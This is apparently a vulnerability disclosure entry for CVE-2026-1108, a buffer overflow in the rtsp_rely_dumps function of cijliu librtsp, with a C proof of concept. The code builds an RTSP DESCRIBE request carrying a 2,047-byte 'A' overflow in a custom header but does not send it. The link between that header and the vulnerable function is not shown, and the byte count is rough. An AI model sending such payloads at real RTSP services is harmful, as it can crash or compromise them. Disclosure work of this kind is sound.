CVE-2026-1108: cijliu librtsp rtsp_rely_dumps函数缓冲区溢出漏洞

// CVE-2026-1108 PoC - librtsp rtsp_rely_dumps Buffer Overflow // Target: cijliu librtsp up to 2ec1a81ad65280568a0c7c16420d7c10fde13b04 #include <stdio.h> #include <string.h> #include <stdlib.h> // Malicious RTSP packet that triggers buffer overflow in rtsp_rely_dumps void create_malicious_rtsp_packet(char *buffer, size_t buf_size) { // Craft RTSP DESCRIBE request with oversized field const char *malicious_payload = "DESCRIBE rtsp://target/stream RTSP/1.0\r\n" "CSeq: 1\r\n" "User-Agent: PoC-Client\r\n" "X-Rely-Data: "; // Fill with overflow data (exceeds buffer limit) char overflow_data[2048]; memset(overflow_data, 'A', sizeof(overflow_data) - 1); overflow_data[sizeof(overflow_data) - 1] = '\0'; snprintf(buffer, buf_size, "%s%s\r\n\r\n", malicious_payload, overflow_data); } int main() { printf("CVE-2026-1108 PoC - librtsp rtsp_rely_dumps Buffer Overflow\n"); printf("This PoC demonstrates the buffer overflow in rtsp_rely_dumps function\n"); printf("Target: cijliu librtsp <= 2ec1a81ad65280568a0c7c16420d7c10fde13b04\n\n"); char packet[4096]; create_malicious_rtsp_packet(packet, sizeof(packet)); printf("Generated malicious RTSP packet:\n"); printf("Length: %zu bytes\n", strlen(packet)); printf("Packet contains %zu bytes of overflow data\n", strlen(packet) - 200); // In real exploitation, this packet would be sent to target // The vulnerable rtsp_rely_dumps function would process it return 0; }